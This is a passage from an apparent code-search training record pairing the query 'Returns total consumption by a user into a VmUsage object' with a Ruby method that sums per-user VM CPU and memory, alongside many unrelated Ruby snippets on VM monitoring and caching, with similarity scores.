vms.delete(vmid) }\n \n added_vms.each do |vmid|\n vm=OpenNebula::VirtualMachine.new(\n OpenNebula::VirtualMachine.build_xml(vmid), @client)\n vm.info\n \n usage=VmUsage.new(vm['TEMPLATE/CPU'].to_f,\n vm['TEMPLATE/MEMORY'].to_i)\n vms[vmid.to_i]=usage\n end\n end", "def vms\n vms = object.vms.select do |vm|\n !current_user ||\n current_user.id == vm.user.id ||\n current_user.admin? ||\n (current_user.lead? && vm.project.users.include?(current_user)) ||\n (current_user.dev? && vm.project.users.include?(current_user) && vm.is_jenkins)\n end\n vms.map { |v| v.id }\n end", "def memory\n hash = {}\n page_size = 4096 # Possibly changed later\n\n begin\n optr = FFI::MemoryPointer.new(:uint64_t)\n size = FFI::MemoryPointer.new(:size_t)\n size.write_int(optr.size)\n\n if sysctlbyname('hw.memsize', optr, size, nil, 0) < 0\n raise SystemCallError.new('sysctlbyname', FFI.errno)\n end\n\n hash[:total] = optr.read_uint64\n ensure\n optr.free if optr && !optr.null?\n size.clear\n end\n\n begin\n swap = Swap.new\n size.write_int(swap.size)\n\n if sysctlbyname('vm.swapusage', swap, size, nil, 0) < 0\n raise SystemCallError.new('sysctlbyname', FFI.errno)\n end\n\n hash[:swap_total] = swap[:xsu_total]\n hash[:swap_available] = swap[:xsu_avail]\n hash[:swap_used] = swap[:xsu_used]\n page_size = swap[:xsu_pagesize]\n ensure\n size.free if size && !size.null?\n end\n\n host_self = mach_host_self()\n vmstat = VmStat.new\n count = FFI::MemoryPointer.new(:size_t)\n count.write_int(vmstat.size)\n\n rv = host_statistics64(host_self, HOST_VM_INFO64, vmstat, count)\n raise SystemCallError.new('host_statistics64', rv) if rv != 0\n\n hash[:free] = vmstat[:free_count] * page_size\n hash[:active] = vmstat[:active_count] * page_size\n hash[:inactive] = vmstat[:inactive_count] * page_size\n hash[:speculative] = vmstat[:speculative_count] * page_size\n hash[:wire] = vmstat[:wire_count] * page_size\n hash[:compressed] = vmstat[:compressor_page_count] * page_size\n\n hash\n ensure\n count.free if count && !count.null?\n end", "def used_ips\n existing_kvms.map do |name|\n kvm_ip(name)\n end\nend", "def cache_key_for_current_user(obj)\n [obj, (obj.user == current_user)]\n end", "def get_memcache_key_object\n MemcacheKey.new('aml.all_aml_match')\n end", "def users\n result = Rails.cache.read([:ibiza, id, :users])\n get_users_only_once if result.nil?\n result\n end", "def get_votes\n res = []\n unless session[:drupal_user_id].nil?\n res = Rails.cache.fetch 'votes-from-' + session[:drupal_user_id].to_s do\n u = User.find_by_uid(session[:drupal_user_id])\n unless u.nil?\n r = Vote.where(voter_id: u.id).map { |v| v.voteable_id }\n else\n r = []\n end\n\n r\n end\n end\n\n res\n end", "def cached_instances\n # Puppet.debug(\"cached_instances - object id: #{PuppetX::PowerCLI::Helper.instance.object_id}\")\n # Puppet.debug(\"cached_instances - resource.type: #{resource.type}\")\n PuppetX::PowerCLI::Helper.instance.cached_instances[resource.type]\n end", "def setup_user_tips_hash\n @user_tips_hash = Hash.new\n if current_user\n @user_tips = Tip.where(\"user_id = ?\", current_user.id)\n @user_tips.each {|t| @user_tips_hash[t.game_id] = t } \n end\n end", "def vms\n load! if !loaded?\n @vms ||= load_vms!\n end", "def vboxmanage_list_vms\n vms = Mash.new\n if vbox_host?\n so_cmd = \"VBoxManage list --sorted vms\"\n logger.trace(so_cmd)\n so = shell_out(so_cmd)\n\n if so.exitstatus == 0\n # parse the output\n so.stdout.lines.each do |line|\n case line\n when /^\"(\\S*)\" \\{(\\S*)\\}$/\n name = Regexp.last_match(1)\n uuid = Regexp.last_match(2)\n vms[name] = vboxmanage_vminfo(uuid)\n end\n end\n end\n end\n vms\n rescue Ohai::Exceptions::Exec\n logger.trace(\"Plugin VboxHost: Could not run 'VBoxManage list --sorted vms'. Skipping data\")\n end", "def stats(id)\n request(:get, \"/users/#{id}/vm_stats.json\")\n end", "def get_memcache_key_object\n MemcacheKey.new('aml.aml_search')\n end", "def getVMs\n @vms = VirtualMachine.all(@ip_address)\n end", "def generate_vm_hash(vm_object, pool_name)\n pool_configuration = pool_config(pool_name)\n return nil if pool_configuration.nil?\n\n hostname = vm_object.summary.guest.hostName if vm_object.summary&.guest && vm_object.summary.guest.hostName\n boottime = vm_object.runtime.bootTime if vm_object.runtime&.bootTime\n powerstate = vm_object.runtime.powerState if vm_object.runtime&.powerState\n\n {\n 'name' => vm_object.name,\n 'hostname' => hostname,\n 'template' => pool_configuration['template'],\n 'poolname' => pool_name,\n 'boottime' => boottime,\n 'powerstate' => powerstate\n }\n end", "def stored_virtual_machines\n kubevirt_client.get_stored_virtual_machines(namespace: @namespace)\n end", "def get_mem\n lines = `free -m`.split(\"\\n\")\n header = lines[0]\n w_cache = lines[1].split(/\\s+/)[2].to_i\n mem = lines[2].split(/\\s+/)[2].to_i\n [mem, w_cache]\n end", "def stats(id)\n response = request(:get, \"/users/#{id}/vm_stats.json\")\n response.first['vm_stats']\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def memcache_key_object\n @m_k_o ||= MemcacheKey.new('manager.devices')\n end", "def defined_vm_keys\n @__defined_vm_keys\n end", "def obtain_vm_data(resource)\n\n puts \"Obtaining virtual machines' data\"\n \n # ...\n \n ips = [\"IP_A\", \"IP_B\"]\n ip_roles = {:rol_a => \"IP_A\", :rol_b => \"IP_B\"}\n img_roles = {:rol_a => \"/path/to/IMG_A\", :rol_b => \"/path/to/IMG_B\"}\n \n return ips, ip_roles, img_roles\n \n end", "def hash\n [pool_usage_percentage, pool_capacity, pool_member_severity, pool_member_capacity, pool_member_usage_percentage, current_virtual_server_count, current_pool_count, current_pool_member_count, pool_severity, service_usages, virtual_server_usage_percentage, virtual_server_severity, service_counts, virtual_server_capacity].hash\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def cache\n @cache ||= {}\n end", "def read_vms\n args = %w[list --all --no-header --json -o name,uuid]\n vms_arr = json { execute_prlctl(*args) }\n templates_arr = json { execute_prlctl(*args, '--template') }\n\n vms = vms_arr | templates_arr\n Hash[vms.map { |i| [i.fetch('name'), i.fetch('uuid')] }]\n end", "def cache_version_data\n {}\n end", "def functions_per_user\n # TODO: Use cache strategy instead\n return @functions_per_user if @functions_per_user\n @functions_per_user = {}\n self.members.map do |member|\n @functions_per_user[member.user_id] = member.functions.map(&:id)\n end\n @functions_per_user\n end", "def functions_per_user\n # TODO: Use cache strategy instead\n return @functions_per_user if @functions_per_user\n @functions_per_user = {}\n self.members.map do |member|\n @functions_per_user[member.user_id] = member.functions.map(&:id)\n end\n @functions_per_user\n end", "def user_hash\n @user_hash ||= MultiJson.decode(@access_token.get('https://api.trademe.co.nz/v1/MyTradeMe/Summary.json').body)\n end", "def cache_store\n {\n redis: @redis,\n ttl: @ttl,\n cached: @cached,\n }\n end", "def get_vm_monitor_data(vm)\n reset_monitor\n\n cpu_mhz = vm[:mob].runtime.host.summary.hardware.cpuMhz.to_f\n\n @monitor[:used_memory] = vm[:mob].summary.quickStats.hostMemoryUsage *\n 1024\n\n used_cpu = vm[:mob].summary.quickStats.overallCpuUsage.to_f / cpu_mhz\n used_cpu = (used_cpu * 100).to_s\n @monitor[:used_cpu] = format('%.2f', used_cpu).to_s\n\n # Check for negative values\n @monitor[:used_memory] = 0 if @monitor[:used_memory].to_i < 0\n @monitor[:used_cpu] = 0 if @monitor[:used_cpu].to_i < 0\n\n guest_ip_addresses = []\n unless vm[:mob].guest.net.empty?\n vm[:mob].guest.net.each do |net|\n next unless net.ipConfig\n next if net.ipConfig.ipAddress.empty?\n\n net.ipConfig.ipAddress.each do |ip|\n guest_ip_addresses << ip.ipAddress\n end\n end\n end\n @guest_ip_addresses = guest_ip_addresses.join(',')\n\n pm = vm[:mob]._connection.serviceInstance.content.perfManager\n\n provider = pm.provider_summary(vm[:mob])\n\n refresh_rate = provider.refreshRate\n\n stats = {}\n\n @one_vm = OpenNebula::VirtualMachine\n .new_with_id(vm[:id], @client)\n\n if @one_vm['MONITORING/LAST_MON'] &&\n @one_vm['MONITORING/LAST_MON'].to_i != 0\n # Real time data stores max 1 hour. 1 minute has 3 samples\n interval = (Time.now.to_i -\n @one_vm['MONITORING/LAST_MON'].to_i)\n\n # If last poll was more than hour ago get 3 minutes,\n # else calculate how many samples since last poll\n if interval > 3600\n samples = 9\n else\n samples = (interval / refresh_rate) + 1\n end\n samples > 0 ? max_samples = samples : max_samples = 1\n\n stats = pm.retrieve_stats(\n [vm[:mob]],\n ['net.transmitted', 'net.bytesRx', 'net.bytesTx',\n 'net.received', 'virtualDisk.numberReadAveraged',\n 'virtualDisk.numberWriteAveraged', 'virtualDisk.read',\n 'virtualDisk.write'],\n interval => refresh_rate, max_samples => max_samples\n ) rescue {}\n else\n # First poll, get at least latest 3 minutes = 9 samples\n stats = pm.retrieve_stats(\n [vm[:mob]],\n ['net.transmitted', 'net.bytesRx', 'net.bytesTx',\n 'net.received', 'virtualDisk.numberReadAveraged',\n 'virtualDisk.numberWriteAveraged', 'virtualDisk.read',\n 'virtualDisk.write'],\n interval => refresh_rate, max_samples => 9\n ) rescue {}\n end\n\n if !stats.empty? && !stats.first[1][:metrics].empty?\n metrics = stats.first[1][:metrics]\n\n nettx_kbpersec = 0\n if metrics['net.transmitted']\n metrics['net.transmitted'].each do |sample|\n nettx_kbpersec += sample if sample > 0\n end\n end\n\n netrx_kbpersec = 0\n if metrics['net.bytesRx']\n metrics['net.bytesRx'].each do |sample|\n netrx_kbpersec += sample if sample > 0\n end\n end\n\n read_kbpersec = 0\n if metrics['virtualDisk.read']\n metrics['virtualDisk.read'].each do |sample|\n read_kbpersec += sample if sample > 0\n end\n end\n\n read_iops = 0\n if metrics['virtualDisk.numberReadAveraged']\n metrics['virtualDisk.numberReadAveraged'].each do |sample|\n read_iops += sample if sample > 0\n end\n end\n\n write_kbpersec = 0\n if metrics['virtualDisk.write']\n metrics['virtualDisk.write'].each do |sample|\n write_kbpersec += sample if sample > 0\n end\n end\n\n write_iops = 0\n if metrics['virtualDisk.numberWriteAveraged']\n metrics['virtualDisk.numberWriteAveraged'].each do |sample|\n write_iops += sample if sample > 0\n end\n end\n\n else\n nettx_kbpersec = 0\n netrx_kbpersec = 0\n read_kbpersec = 0\n read_iops = 0\n write_kbpersec = 0\n write_iops = 0\n end\n\n # Accumulate values if present\n if @one_item && @one_item['MONITORING/NETTX']\n previous_nettx = @one_item['MONITORING/NETTX'].to_i\n else\n previous_nettx = 0\n end\n\n if @one_item && @one_item['MONITORING/NETRX']\n previous_netrx = @one_item['MONITORING/NETRX'].to_i\n else\n previous_netrx = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKRDIOPS']\n previous_diskrdiops = @one_item['MONITORING/DISKRDIOPS'].to_i\n else\n previous_diskrdiops = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKWRIOPS']\n previous_diskwriops = @one_item['MONITORING/DISKWRIOPS'].to_i\n else\n previous_diskwriops = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKRDBYTES']\n previous_diskrdbytes = @one_item['MONITORING/DISKRDBYTES'].to_i\n else\n previous_diskrdbytes = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKWRBYTES']\n previous_diskwrbytes = @one_item['MONITORING/DISKWRBYTES'].to_i\n else\n previous_diskwrbytes = 0\n end\n\n @monitor[:nettx] = previous_nettx +\n (nettx_kbpersec * 1024 * refresh_rate).to_i\n @monitor[:netrx] = previous_netrx +\n (netrx_kbpersec * 1024 * refresh_rate).to_i\n\n @monitor[:diskrdiops] = previous_diskrdiops + read_iops\n @monitor[:diskwriops] = previous_diskwriops + write_iops\n @monitor[:diskrdbytes] = previous_diskrdbytes +\n (read_kbpersec * 1024 * refresh_rate).to_i\n @monitor[:diskwrbytes] = previous_diskwrbytes +\n (write_kbpersec * 1024 * refresh_rate).to_i\n @monitor\n end", "def virtual_machines(id)\n response = request(:get, \"/users/#{id}/virtual_machines.json\")\n response.collect { |vm| vm['virtual_machine']}\n end", "def virtual_machines(id)\n response = request(:get, \"/users/#{id}/virtual_machines.json\")\n response.collect { |vm| vm['virtual_machine']}\n end", "def rebuild_all_cache(user_id)\n user = User.find_by_id(user_id)\n my_kunis = user.kunis.all\n my_kunis.each do |kuni|\n rebuild_cache(kuni)\n end\n end", "def members_cache_key\n Member.cache_key_for_set(id)\n end", "def data\n @cache ||= {}\n end", "def cache_all_repos_for_user\n raise InvalidToken unless test_authentication\n repos = []\n repos += get_user_repos\n get_user_orgs.each do |org|\n repos += get_org_repos( org['login'] )\n end\n File.open(@cache_file, 'w') do |f|\n f.write repos.to_json\n end\n repos\n end", "def cached_tilts\n\t\t\t@app_class.cached_tilts\n\t\tend", "def slab_info(flags=\"\")\n # TODO : may go back, make this an option to use sudo or not.\n # You need sudo permission to run this flag.\n slab_info = Vstator::SlabInfo.new \n `sudo vmstat #{flags}`.split(\"\\n\").each do |info|\n next if info == \"Cache Num Total Size Pages\"\n name, num, total, size, pages = info.split\n data = { :name => name, :num => num, :total => total,\n :size => size, :pages => pages }\n slab_info.update(data)\n end\n slab_info\n end", "def cache_instances\n [*Pages.all_instances, *([BlogArticle, Industry, Team].map{|p| p.all })]\n end", "def cache(user)\n \"#{user.id}_project\"\n end", "def wilds\n [self.to_hash['HOST']['TEMPLATE']['VM']].flatten.compact\n end", "def vboxmanage_vminfo(machine_id)\n vm = Mash.new\n\n if vbox_host?\n so_cmd = \"VBoxManage showvminfo #{machine_id} --machinereadable\"\n logger.trace(so_cmd)\n so = shell_out(so_cmd)\n\n if so.exitstatus == 0\n so.stdout.lines.each do |line|\n line.chomp!\n left, right = line.split(\"=\")\n\n # remove enclosing quotes, if needed\n key =\n case left\n when /^\"(.*)\"$/\n Regexp.last_match(1)\n else\n left\n end\n\n # skip the name attribute since that is the parent key\n next if left == \"name\"\n\n # remove enclosing quotes, if needed\n value =\n case right\n when /^\"(.*)\"$/\n Regexp.last_match(1)\n else\n right\n end\n\n vm[key.downcase] = value\n end\n end\n end\n vm\n rescue Ohai::Exceptions::Exec\n logger.trace(\"Plugin VboxHost: Could not run '#{so_cmd}'. Skipping data\")\n end", "def quota_vms_by_owner(options)\n quota_vm_stats(:quota_find_vms_by_owner, options)\n end", "def vm_info\n unless @vm\n warn 'No VM assigned to get info from'\n return\n end\n @vm = locate_vm(@vm.to_hash['VM']['ID'].to_i)\n @vm.to_hash\n end", "def local_cache(box_name)\n cache_dir = File.join(File.expand_path(\"~/.vagrant.d\"),\n 'cache',\n 'apt',\n box_name)\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def user_cache_file\n @user_cache ||=\n\tENV['GEMCACHE'] || File.join(Gem.user_home, \".gem/source_cache\")\n end", "def getCache\n keys = Rails.cache.instance_variable_get(:@data).keys\n data = [keys.length]\n\n #If a city parameter is detected and it matches data in the city field in the cache then \n #that city and its corresponding ip address and country are pushed onto the array\n if params[\"city\"]\n city = params[\"city\"]\n keys.each do |key|\n curr = Rails.cache.read(key)\n if curr[\"city\"] == city\n data.push(Rails.cache.read(key))\n end\n end\n #If a country parameter is detected and it matches data in the country field in the cache then \n #that country and its corresponding ip address and city are pushed onto the array\n elsif params[\"country\"]\n city = params[\"country\"]\n keys.each do |key|\n curr = Rails.cache.read(key)\n if curr[\"country\"] == city\n data.push(Rails.cache.read(key))\n end\n end\n #If no parameters are detected then push cache onto array\n else\n keys.each do |key|\n data.push(Rails.cache.read(key))\n end\n end\n\n @cache = data\n \n end", "def cache\n env[CACHE] ||= Hash.new {|hash, sha| hash[sha] = read(sha) }\n end", "def cache_objects_keys\n @object_data[].keys\n end", "def users\n result_hash['usr']\n end", "def cached_stats\n generate 'sufia:cached_stats'\n end", "def data_caches\n (@data_caches || [])\n end", "def hash\n [host_list, total_matching, total_returned].hash\n end", "def users_by_function\n members.includes(:user, :functions).inject({}) do |h, m|\n m.functions.each do |r|\n h[r] ||= []\n h[r] << m.user\n end\n h\n end\n end", "def users_by_function\n members.includes(:user, :functions).inject({}) do |h, m|\n m.functions.each do |r|\n h[r] ||= []\n h[r] << m.user\n end\n h\n end\n end", "def vms_ordered\n return @vms.values if !multivm?\n @vms_enum ||= config.global.vm.defined_vm_keys.map { |name| @vms[name] }\n end", "def users_by_size\n map = {}\n for user in @size_data.values\n size = user[:size]\n map[size] ||= []\n map[size].push(user)\n end\n return map\nend", "def local_cache(box_name)\n cache_dir = File.join(File.expand_path(Vagrant::Environment::DEFAULT_HOME),\n 'cache',\n 'apt',\n box_name)\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def cache_dashboard_data findings\n dashboard_data_dir = \"#{Cli::Helpers::DATA_PATH}/#{@cluster}\"\n FileUtils.mkdir_p dashboard_data_dir\n File.write(\"#{dashboard_data_dir}/rbac-findings.json\", findings.to_json)\n end", "def dev_pod_hashes_map\n @dev_pod_hashes_map ||=\n dev_pod_sources.map { |name, attribs| [name, FolderChecksum.git_checksum(attribs[:path])] }.to_h\n end", "def collect_user_details\n cmd = 'lsuser -a ALL' # get all user names\n result ||= inspec.backend.run_command(cmd)\n return [] if result.exit_status.to_i != 0\n names = result.stdout.split(\"\\n\")\n users_cache = []\n names.sort.uniq.each do |n|\n users_cache << AixUser(inspec, n)\n end\n users_cache\n end", "def statistics\n cached = Rails.cache.read(\"stats\")\n return cached unless cached.nil?\n\n stats = {\n user_count: User.select(:id).count,\n completed_plan_count: Plan.select(:id).count,\n institution_count: Org.participating.select(:id).count\n }\n cache_content(\"stats\", stats)\n stats\n end", "def cache_results\n return unless current_user && !using_defaults\n\n # Do the results contain master_id? If so, get a unique list of master id results\n master_ids = results.map { |r| r['master_id'] }.uniq if field_index('master_id')\n\n # We through other stuff into the search attribute values that are not needed for storing results\n # Just pass over the real key-value pairs that correspond to the configured attributes\n real_search_attr_values = search_attr_values.slice(*search_attributes.keys)\n\n previous_filtering.store_results(report.id, report.name, master_ids, results.count, real_search_attr_values)\n end", "def status_cache_key\n [\n ip,\n ip_port,\n outlet,\n secondary_outlet,\n # Include username/password so that if one of the shared schedule is right and\n # the other is wrong we still do multiple queries: one gets an error and the other\n # doesn't.\n username,\n password,\n ]\n end", "def load_cache\n a = dataset.all\n h = {}\n a.each{|o| h[o.pk.freeze] = o.freeze}\n @all = a.freeze\n @cache = h.freeze\n end", "def vmk_entries\n res = {}\n (@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk|\n protection_type = vmk[26, 2].unpack('v')[0]\n if res[protection_type].nil?\n res[protection_type] = [fve_entries(vmk[28..-1])]\n else\n res[protection_type] += [fve_entries(vmk[28..-1])]\n end\n end\n res\n end", "def create_hashes\n cloud Mash.new\n cloud[:public_ip] = Hash.new\n cloud[:private_ip] = Hash.new\nend", "def cached(key:, ttl: 5.minutes)\n redis = CertManager::Configuration.redis_client\n redis_key = \"User_#{id}_#{key}\"\n value = redis.get(redis_key)\n value = JSON.parse(value) if value\n unless value\n value = yield\n redis.setex(redis_key, ttl, value.to_json)\n end\n value\n end", "def cache_key\n @cache_key ||= [\n self.class.name,\n RedisMemo::Util.checksum(\n RedisMemo::Util.deep_sort_hash(@props).to_json,\n ),\n ].join(':')\n end", "def memcache_key_object\n @m_k_o ||= MemcacheKey.new('client.token_details')\n end", "def users()\n\t\t\tusers = {}\n\t\t\t@table.items.where(:type => 'USER').each do |user_row|\n\t\t\t\tusers[user_row.attributes[:user_name]] = ServerUser.new(user_row.attributes[:user_name], @dynamo_table, user_row, @metadata, self)\n\t\t\tend\n\t\t\treturn users\n\t\tend", "def all_instances\n Puppet.debug(\"all_instances - cached instances is: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object id: #{cached_instances.object_id}\")\n # return cache if it has been created, this means that this function will only need\n # to be loaded once, returning all instances that exist of this resource in vsphere\n # then, we can lookup our version by name/id/whatever. This saves a TON of processing\n return cached_instances unless cached_instances.nil?\n\n # Fetch the current status of the portgroup\n cmd = <<-EOF\n $portgroup_hash = @{}\n $hosts = #{powercli_get_online_hosts}\n foreach($h in $hosts) {\n # We silently continue on errors otherwise PowerCLI creates an error if the\n # portgroup does not exist on the host which pollutes our $portgroup_hash return object\n $pg = Get-VirtualSwitch -Host $h -Standard -Name #{resource[:vswitch_name]} | Get-VirtualPortGroup -Name #{resource[:portgroup]} -ErrorAction SilentlyContinue\n if ($pg) {\n $obj_hash = @{}\n $obj_hash.Add('portgroup', $pg.Name)\n $obj_hash.Add('vlan', $pg.VLanId)\n $obj_hash.Add('vswitch_name', $pg.VirtualSwitchName)\n $portgroup_hash[$h.Name] = @($obj_hash)\n } else {\n # create empty hashtable\n $obj_hash = @{}\n $portgroup_hash[$h.Name] = @($obj_hash)\n }\n }\n $portgroup_hash | ConvertTo-Json\n EOF\n\n portgroups_stdout = powercli_connect_exec(cmd)[:stdout]\n\n unless portgroups_stdout.empty?\n portgroups_hash = JSON.parse(portgroups_stdout)\n cached_instances_set({})\n portgroups_hash.each do |esx_host, pg_array|\n # Extracting hash from array object\n pg_hash = pg_array[0]\n cached_instances[esx_host] = {\n ensure: :present,\n esx_host: esx_host,\n vswitch_name: pg_hash['vswitch_name'],\n vlan: pg_hash['vlan'],\n portgroup: pg_hash['portgroup'],\n }\n end\n end\n Puppet.debug(\"all_instances - cached instances is at end: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object_id at end: #{cached_instances.object_id}\")\n cached_instances\n end", "def user_holds opts= {}\n path, opts = build_user_path(\"holds\", opts)\n JSON.parse(get path, opts)\n end", "def determine_memory\n result = @info[:memory] = {}\n\n free_cmd = \"free -m|awk '$1 ~ /Mem/ {print $2, $2-$6-$7}; $1 ~ /Swap/ \" \\\n \"{print $3}'|xargs\"\n mem = @shell.query('MEMORY', free_cmd)\n total, used, swap = mem.split(/\\s+/)\n\n result[:total] = total.to_i\n result[:mem_used] = used.to_i\n result[:swap_used] = swap.to_i\n result[:swapping?] = swqp.to_i > 0\n end", "def memory()\n\n instructions = 'free -h'\n\n puts ('instructions: ' + instructions.inspect).debug if @debug\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts ('memory: ' + r.inspect).debug if @debug\n a = r.lines\n total, used, avail = a[1].split.values_at(1,2,-1) \n @results[:memory] = {total: total, used: used, available: avail}\n\n end", "def blocked_user_ids\n Rails.cache.fetch(\"blocked_user_ids_#{id}\", expires_in: 1.month.from_now) do\n blocked_users_relationships.pluck(:user_id)\n end\n end", "def cache_location\n $redis.lpush(\"user-pages-#{@current_user.id}\", request.url)\n $redis.ltrim(\"user-pages-#{@current_user.id}\", 0, 9)\n end", "def fetch_source_vms(machines)\n machines.inject({}) do |acc, machine|\n acc[machine.name] = API::Vm.fetch(env, machine.provider_config.vm_url)\n acc\n end\n end", "def memcache_key_object\n @m_k_o ||= MemcacheKey.new('ost_price_points.chain_specific')\n end", "def taggable_ministerial_roles_cache_digest\n @taggable_ministerial_roles_cache_digest ||= calculate_digest(MinisterialRole.order(:id), \"ministerial-roles\")\n end", "def vcenter_vms_state\n vc_uuid = @vic.vim.serviceContent.about.instanceUuid\n\n view = @vic.vim\n .serviceContent\n .viewManager\n .CreateContainerView(\n {\n :container => @cluster.item,\n :type => ['VirtualMachine'],\n :recursive => true\n }\n )\n\n pc = @vic.vim.serviceContent.propertyCollector\n\n result = pc.RetrieveProperties(\n :specSet => [\n RbVmomi::VIM.PropertyFilterSpec(\n :objectSet => [\n :obj => view,\n :skip => true,\n :selectSet => [\n RbVmomi::VIM.TraversalSpec(\n :name => 'traverseEntities',\n :type => 'ContainerView',\n :path => 'view',\n :skip => false\n )\n ]\n ],\n :propSet => [\n {\n :type => 'VirtualMachine',\n :pathSet => VM_STATE_PROPERTIES\n }\n ]\n )\n ]\n )\n\n vms_hash = {}\n\n result.each do |r|\n next unless r.obj.is_a?(RbVmomi::VIM::VirtualMachine)\n\n vms_hash[r.obj._ref + '_' + vc_uuid] = r.to_hash\n end\n\n view.DestroyView\n\n vmpool = OpenNebula::VirtualMachinePool.new(@onec)\n rc = vmpool.info(-2)\n\n return {} if OpenNebula.is_error?(rc)\n\n vms = {}\n vms_hash.each do |vm_ref, info|\n one_id = -1\n\n # Add OR to retrieve VMs that are using old deploy ID\n ids = vmpool.retrieve_xmlelements(\n \"/VM_POOL/VM[(DEPLOY_ID = '#{vm_ref}')\" \\\n ' or ' \\\n \"(DEPLOY_ID = '#{vm_ref.split('_')[0]}')]\"\n )\n\n ids.select do |vm|\n hid = vm['HISTORY_RECORDS/HISTORY/HID']\n\n if hid\n hid.to_i == @host_id\n else\n false\n end\n end\n\n one_id = ids[0]['ID'] if ids[0]\n next if one_id.to_i == -1\n\n vms[vm_ref] = {\n :id => one_id,\n :name => \"#{info['name']} - #{@cluster.item.name}\",\n :deploy_id => vm_ref,\n :state => STATE_MAP[info['summary.runtime.powerState']] || 'UNKNOWN'\n }\n end\n\n vms\n end", "def get_items(rut)\n user = User.find_by_national_id(rut)\n items= {}\n if user.smartphone_id\n sp = Smartphone.find(user.smartphone_id)\n items[:sp] = sp\n end\n if user.bam_id\n bam = Bam.find(user.bam_id)\n items[:bam] = bam\n end\n if user.sim_id\n sim = Sim.find(user.sim_id)\n items[:sim] = sim\n end\n if user.plan_id\n plan = Plan.find(user.plan_id)\n items[:plan] = plan\n end\n return items\n end", "def get_unread_cache_key_for(_user_id)\n \"cache-count_pending_messages_for-#{id}-#{(last_activity || Time.current).to_i}-#{_user_id}\"\n end", "def local_cache(box_name, cache_name)\r\n cache_dir = File.join(File.expand_path(\"~/.vagrant.d\"), \"cache\", cache_name, box_name)\r\n if cache_name == \"apt\"\r\n partial_dir = File.join(cache_dir, \"partial\")\r\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\r\n end\r\n cache_dir\r\nend", "def cached_data(list)\n @klass.where(object_key: list) if @klass\n end", "def vms\n Vm.where(commit_id: @id)\n end", "def local_cache(box_name, hostname)\n cache_dir = File.join( File.expand_path(\"./vagrant_apt\"),\n 'cache',\n 'apt',\n box_name,\n hostname\n )\n\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def local_apt_cache(box_name)\n cache_dir = File.join(File.expand_path(Vagrant::Environment::DEFAULT_HOME),\n 'cache',\n 'apt',\n box_name)\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend" ]
[ "0.58682954", "0.5799822", "0.5727434", "0.5687913", "0.56238204", "0.5487336", "0.5487336", "0.5391021", "0.5336172", "0.5331508", "0.5326577", "0.5312997", "0.5299143", "0.52479255", "0.5247538", "0.52272415", "0.5207831", "0.51692975", "0.51444256", "0.51214546", "0.5112936", "0.50943035", "0.5085986", "0.5081513", "0.5072519", "0.50515664", "0.50344104", "0.50344104", "0.5034139", "0.50105757", "0.5004288", "0.49986023", "0.49849334", "0.4968017", "0.4968017", "0.49648288", "0.49489537", "0.49335045", "0.49335045", "0.49254525", "0.4919104", "0.491093", "0.49100208", "0.49100208", "0.48952642", "0.4895094", "0.48728544", "0.4850786", "0.48445135", "0.48399943", "0.48386893", "0.4826608", "0.48236158", "0.4823574", "0.4820398", "0.4818012", "0.480879", "0.48032153", "0.4796607", "0.47877118", "0.47868636", "0.47823802", "0.47800806", "0.47716048", "0.4770746", "0.47608018", "0.47608018", "0.47592884", "0.47564724", "0.4751833", "0.4745885", "0.47452518", "0.47413838", "0.47271356", "0.4718733", "0.47118446", "0.47082797", "0.46997803", "0.4697953", "0.46947753", "0.4687074", "0.46850428", "0.46827236", "0.4680437", "0.46798968", "0.46785298", "0.4677519", "0.46768793", "0.46627903", "0.4661028", "0.46569347", "0.46562076", "0.46552148", "0.46542814", "0.46495768", "0.46490726", "0.46490481", "0.4641289", "0.46369246", "0.46321645" ]
0.6922262
0
Returns total consumption by a user into a VmUsage object
def total(user) usage=VmUsage.new(0.0, 0, 0) @users[user].each do |id, vm| usage.cpu+=vm.cpu usage.memory+=vm.memory usage.num_vms+=1 end if @users[user] usage end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def total_billable_usage\n @attributes[:total_billable_usage]\n end", "def user_cost\n @attributes[:user_cost]\n end", "def usage_cost\n @attributes[:usage_cost]\n end", "def monthly_print_usage_by_user\n return @monthly_print_usage_by_user\n end", "def dropbox_account_usage\n url = \"https://api.dropboxapi.com/2/users/get_space_usage\"\n\n format = ->(value) { sprintf(\"%.2f\", value) }\n to_gb = ->(value) { format[value.to_f / 1024 / 1024 / 1024] }\n\n # API expects a body of \"null\"\n dropbox_post_json(url, payload: \"null\") do |json|\n used = json[\"used\"]\n max = json.dig(\"allocation\", \"allocated\")\n free = max - used\n used_percent = format[(used.to_f / max.to_f) * 100]\n free_percent = format[100.0 - used_percent.to_f]\n\n {\n max: to_gb[max],\n used: to_gb[used],\n used_percent: used_percent,\n free: to_gb[free],\n free_percent: free_percent,\n }\n end\n end", "def get_total_price\n @user = User.find(params[:user_id])\n @total_price = @user.purchased_items.sum(\"price\")\n end", "def usage_price\n data.usage_price\n end", "def monthly_print_usage_by_user=(value)\n @monthly_print_usage_by_user = value\n end", "def total_billable_transfer_usage\n @attributes[:total_billable_transfer_usage]\n end", "def user_units\n @user.units\n end", "def daily_print_usage_by_user\n return @daily_print_usage_by_user\n end", "def daily_print_usage_by_user=(value)\n @daily_print_usage_by_user = value\n end", "def total_demand\n info[:total_demand]\n end", "def account_usage(uid)\n usage_hash = @client.user_usage(\"#{uid}\")\n Rails.logger.debug '> 